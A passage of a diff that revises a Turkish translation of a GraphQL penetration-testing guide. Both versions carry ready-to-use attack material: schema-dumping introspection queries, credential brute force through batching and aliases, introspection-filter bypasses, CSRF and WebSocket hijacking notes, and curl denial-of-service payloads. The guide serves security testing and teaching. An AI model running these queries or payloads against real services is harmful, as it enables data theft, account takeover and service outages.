örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta aracılığıyla erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) ### Parmak İzi @@ -31,13 +31,13 @@ Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine ol #### Evrensel sorgular -Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır. +Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya çıkaran GraphQL'in `__typename` alanına dayanır. ```javascript query{__typename} ``` ### Temel Sayım -Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Ancak güvenlik açısından CSRF saldırılarını önlemek için yalnızca json'a izin verilmesi önerilir. +Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Ancak güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin verilmesi önerilir. #### İçgörü @@ -51,7 +51,7 @@ Bu sorgu ile kullanılan tüm türlerin adını bulacaksınız: ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını nasıl sorgulayacağınızı bilmek için çok faydalı olacaktır. +Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını sorgulamak için nasıl bir yol izleyeceğinizi bilmek açısından çok faydalı olacaktır. ![](<../../images/image (950).png>) @@ -65,7 +65,7 @@ Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların ``` ![](<../../images/image (416).png>) -**Veritabanı Şemasını İnspeksiyon ile Belirleme** +**Veritabanı Şemasını İnspeksiyon ile Listeleme** > [!NOTE] > İnspeksiyon etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin. @@ -166,13 +166,13 @@ Son kod satırı, graphql'den tüm meta-bilgileri (nesne adları, parametreler, ![](<../../images/image (363).png>) -Eğer introspection etkinse, tüm seçenekleri bir GUI'de görüntülemek için [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanabilirsiniz. +Eğer introspection etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz. ### Sorgulama Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, **bazı değerleri çıkarmayı** deneyelim. -İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz. +İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, flag nesnesini sorgulayabilirsiniz. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -180,11 +180,11 @@ Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -"_Flags_" nesnelerinin **isim** ve **değer** ile oluşturulduğunu görebilirsiniz. Ardından, bayrakların tüm isimlerini ve değerlerini şu sorgu ile alabilirsiniz: +"_Flags_" nesnelerinin **isim** ve **değer** ile oluşturulduğunu görebilirsiniz. Ardından, sorgu ile tüm flag isimlerini ve değerlerini alabilirsiniz: ```javascript query={flags{name, value}} ``` -Not edin ki **sorgulanacak nesne** bir **ilkel** **tip** ise, örneğin **string** gibi aşağıdaki örnekteki gibi +Not edin ki **sorgulanacak nesne** bir **ilkel** **tip** ise, örneğin **string** gibi, aşağıdaki örnekteki gibi ![](<../../images/image (958).png>) @@ -201,8 +201,8 @@ Ancak, bu örnekte bunu yapmaya çalıştığınızda bu **hata** ile karşıla ![](<../../images/image (1042).png>) -Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türü ile kullanarak arama yapacak.\ -Her neyse, zaten biliyorduk ki, [Basic Enumeration](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türü ile arayacak.\ +Neyse ki, zaten biliyorduk ki, [Basic Enumeration](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` O sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "_**user**_" nesnesinin _Int_ türünde "_**uid**_" **arg**'sine sahip olduğunu göreceksiniz. @@ -217,13 +217,13 @@ Bu nedenle, hafif bir _**uid**_ brute force gerçekleştirerek _**uid**=**1**_ o Ve **enumeration aşamasında** "_**dbuser**_" nesnesinin "_**user**_" ve "_**password**_" alanlarına sahip olduğunu keşfettim. -**Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow\_)** +**Query string dump trick (thanks to @BinaryShadow\_)** -Eğer bir dize türü ile arama yapabiliyorsanız, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize** ararsanız, **tüm verileri dökecektir**. (_Bu örneğin, eğitimlerin örneği ile ilgili olmadığını unutmayın, bu örnekte "**theusers**" ile "**description**" adında bir Dize alanı kullanarak arama yapabileceğinizi varsayın_). +Bir dize türü ile arama yapabiliyorsanız, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize** ararsanız, **tüm verileri dökecektir**. (_Bu örneğin, eğitim örneği ile ilgili olmadığını unutmayın, bu örnekte "**theusers**" ile "**description**" adında bir Dize alanı kullanarak arama yapabileceğinizi varsayın_). ### Arama -Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanı içindeki ilişkileri gösterir. +Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** e-posta ve isimleri ile tanımlanır; **filmler** ise isimleri ve puanları ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanı içindeki ilişkileri gösterir. **İsim** ile kişileri **arama** yapabilir ve e-posta adreslerini alabilirsiniz: ```javascript @@ -248,9 +248,9 @@ name } } ``` -Not edin ki kişinin `subscribedMovies`'nin `name`'ini almak için nasıl belirtildiği. +Not edin ki, kişinin `subscribedMovies`'inin `name`'ini almak için nasıl belirtildiği. -Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film aranıyor: +Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film araması yapılmaktadır: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -289,7 +289,7 @@ name ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içerir. **Kişiler**, **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmleri olabilir, bu da veritabanındaki ilişkileri gösterir. +Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içerir. **Kişiler**, **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanındaki ilişkileri gösterir. Veritabanında **yeni** filmler oluşturmak için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır): ```javascript @@ -304,7 +304,7 @@ rating ``` **Sorguda hem değerlerin hem de veri türünün nasıl belirtildiğine dikkat edin.** -Ayrıca, veritabanı, mevcut **arkadaşlar** ve **filmler** ile ilişkili **kişilerin** oluşturulmasına olanak tanıyan `addPerson` adlı bir **mutation** işlemini desteklemektedir. Yeni oluşturulan kişiyi mevcut arkadaşlar ve filmlerle ilişkilendirmeden önce, arkadaşların ve filmlerin veritabanında önceden var olması gerektiğini belirtmek önemlidir. +Ayrıca, veritabanı, mevcut **arkadaşlar** ve **filmler** ile ilişkili **kişilerin** oluşturulmasına olanak tanıyan `addPerson` adlı bir **mutation** işlemini desteklemektedir. Yeni oluşturulan kişiyi mevcut olanlarla ilişkilendirmeden önce arkadaşların ve filmlerin veritabanında önceden var olması gerektiğini belirtmek önemlidir. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -339,9 +339,9 @@ Bu raporda açıklanan [**zafiyetlerden birinde**](https://www.landh.tech/blog/2 ### 1 API isteğinde toplu brute-force Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\ -GraphQL API üzerinden **farklı kimlik bilgileri ile aynı anda birçok sorgu göndererek** kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak artık GraphQL toplama özelliği sayesinde her HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır. +GraphQL API üzerinden **farklı kimlik bilgileri ile birçok sorgunun aynı anda gönderilmesi** ile kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak artık GraphQL toplama özelliği sayesinde her HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır. -Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Açıkça, aynı şekilde tek bir istekte binlerce göndermek mümkündür: +Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Aynı şekilde tek bir istekte binlerce göndermek mümkündür: ![](<../../images/image (1081).png>) @@ -353,13 +353,13 @@ Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü ist Giderek daha fazla **graphql uç noktası inspeksiyonu devre dışı bırakıyor**. Ancak, beklenmedik bir istek alındığında graphql'nin attığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların şemanın çoğunu yeniden oluşturması için yeterlidir. -Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde bir iç GraphQL **şeması** oluşturur. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde içsel bir GraphQL **şeması** **oluşturur**. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). [**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?). ### GraphQL inspeksiyon savunmalarını aşma -API'lerdeki inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in göz ardı ettiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir: +API'lerde inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir: ```bash # Example with newline to bypass { @@ -367,11 +367,11 @@ API'lerdeki inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `_ {queryType{name}}}" } ``` -Eğer başarısız olursanız, **GET istekleri** veya **`x-www-form-urlencoded` ile POST** gibi alternatif istek yöntemlerini düşünün, çünkü kısıtlamalar yalnızca POST isteklerine uygulanabilir. +Eğer başarısız olursanız, **GET istekleri** veya **POST ile `x-www-form-urlencoded`** gibi alternatif istek yöntemlerini düşünün, çünkü kısıtlamalar yalnızca POST isteklerine uygulanabilir. ### WebSocket'leri Deneyin -[**bu konuşmada**](https://www.youtube.com/watch?v=tIo_t5uUK50) belirtildiği gibi, graphQL'e WebSocket'ler aracılığıyla bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, potansiyel bir WAF'ı atlamanıza ve websocket iletişiminin graphQL şemasını sızdırmasına olanak tanıyabilir: +[**bu konuşmada**](https://www.youtube.com/watch?v=tIo_t5uUK50) belirtildiği gibi, graphQL'e WebSocket'ler aracılığıyla bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, potansiyel bir WAF'ı atlamanıza ve websocket iletişiminin graphQL şemasını sızdırmasına olanak tanıyabilir. ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { @@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **Açık GraphQL Yapılarını Keşfetme** -İnceleme devre dışı bırakıldığında, web sitesinin kaynak kodunu JavaScript kütüphanelerinde önceden yüklenmiş sorgular için incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarır. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır: +İçgörü devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları bulmak için web sitesinin kaynak kodunu incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarabilir. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -421,19 +421,19 @@ Ancak, çoğu GraphQL uç noktası da **`form-urlencoded` POST isteklerini** des ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -Bu nedenle, önceki gibi CSRF istekleri **ön uç istekleri olmadan** gönderildiğinden, CSRF'yi kötüye kullanarak GraphQL'de **değişiklikler** **yapmak** **mümkündür**. +Bu nedenle, önceki gibi CSRF istekleri **ön uç istekleri olmadan** gönderildiğinden, bir CSRF kullanarak GraphQL'de **değişiklikler** **yapmak** **mümkündür**. -Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğunu unutmayın. Bu, çerezin yalnızca GET isteklerinde üçüncü taraf bir webden gönderileceği anlamına gelir. +Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değerinin `Lax` olduğunu unutmayın. Bu, çerezin yalnızca üçüncü taraf bir webden GET istekleriyle gönderileceği anlamına gelir. **Sorgu** **isteğini** ayrıca **GET** **isteği olarak göndermek genellikle mümkündür ve CSRF token'ı bir GET isteğinde doğrulanmayabilir.** -Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** kötüye kullanarak, kullanıcının kimlik bilgilerini kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir. +Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/index.html) **saldırısını** kullanarak, kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir. Daha fazla bilgi için **buradaki** [**orijinal gönderiyi kontrol edin**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## GraphQL'de Çapraz Site WebSocket Ele Geçirme -GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür. +GraphQL'deki CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür. Daha fazla bilgi için kontrol edin: @@ -455,7 +455,7 @@ Mutasyon, diğer hesap verilerini değiştirmeye çalışarak hesap ele geçirme "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### GraphQL'de Yetkiyi Aşma +### GraphQL'de Yetkilendirmeyi Aşma [Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini aşabilir. @@ -465,9 +465,9 @@ Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve bunun yalnızca on ## GraphQL'de Takma Adlar Kullanarak Hız Sınırlarını Aşma -GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türden birden fazla nesne** almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir. +GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, **aynı türden birden fazla nesneyi** tek bir istekte almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir. -GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Takma Adlar](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). +GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği beklenmedik bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, **HTTP isteklerinin sayısını** kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler. @@ -486,22 +486,22 @@ valid } } ``` -## GraphQL'de DoS +## DoS in GraphQL -### Alias Aşırı Yükleme +### Alias Overloading -**Alias Aşırı Yükleme**, saldırganların aynı alan için birçok alias ile bir sorguyu aşırı yüklediği bir GraphQL zayıflığıdır; bu, arka uç çözücünün o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Örneğin, aşağıdaki sorguda, aynı alan (`expensiveField`) alias kullanılarak 1.000 kez talep edilmektedir; bu, arka ucu 1.000 kez hesaplamaya zorlayarak CPU veya belleği tüketebilir: +**Alias Overloading**, bir GraphQL zayıflığıdır; burada saldırganlar, arka uç çözücünün aynı alanı tekrar tekrar çalıştırmasına neden olarak bir sorguyu birçok takma ad ile aşırı yükler. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Aşağıdaki sorguda, aynı alan (`expensiveField`) 1,000 kez takma adlar kullanılarak istenmektedir; bu, arka ucu 1,000 kez hesaplamaya zorlayarak CPU veya bellek tüketimini artırabilir: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın. +Bu durumu hafifletmek için, kaynak istismarını önlemek amacıyla alias sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın. ### **Dizi Tabanlı Sorgu Gruplama** -**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Bir gruptaki sorgu sayısı üzerinde bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir. +**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Eğer bir gruptaki sorgu sayısı için bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini aynı anda çalıştırması zorlanmaktadır. Daha büyük bir toplu boyut veya hesaplama açısından pahalı sorgularla istismar edilirse, sunucuyu aşırı yükleyebilir. +Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini aynı anda çalıştırması zorlanıyor. Daha büyük bir toplu işlem boyutu veya hesaplama açısından pahalı sorgularla istismar edilirse, sunucuyu aşırı yükleyebilir. ### **Yönerge Aşırı Yükleme Açığı** -**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlanan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlanan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir, bu da **Hizmet Reddi (DoS)** ile sonuçlanabilir. +**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlayan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlayan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir; bu da **Hizmetin Reddi (DoS)** ile sonuçlanabilir. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -521,14 +521,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**'dır: +Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**dir: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -Ayrıca, tüm beyan edilen direktifleri keşfetmek için bir introspection sorgusu gönderebilirsiniz: +Ayrıca, tüm tanımlı direktifleri keşfetmek için bir introspeksiyon sorgusu gönderebilirsiniz: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -548,18 +548,18 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ``` ## Araçlar -### Güvenlik tarayıcıları +### Güvenlik Açığı Tarayıcıları -- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql uç noktalarının yaygın yanlış yapılandırmalarını 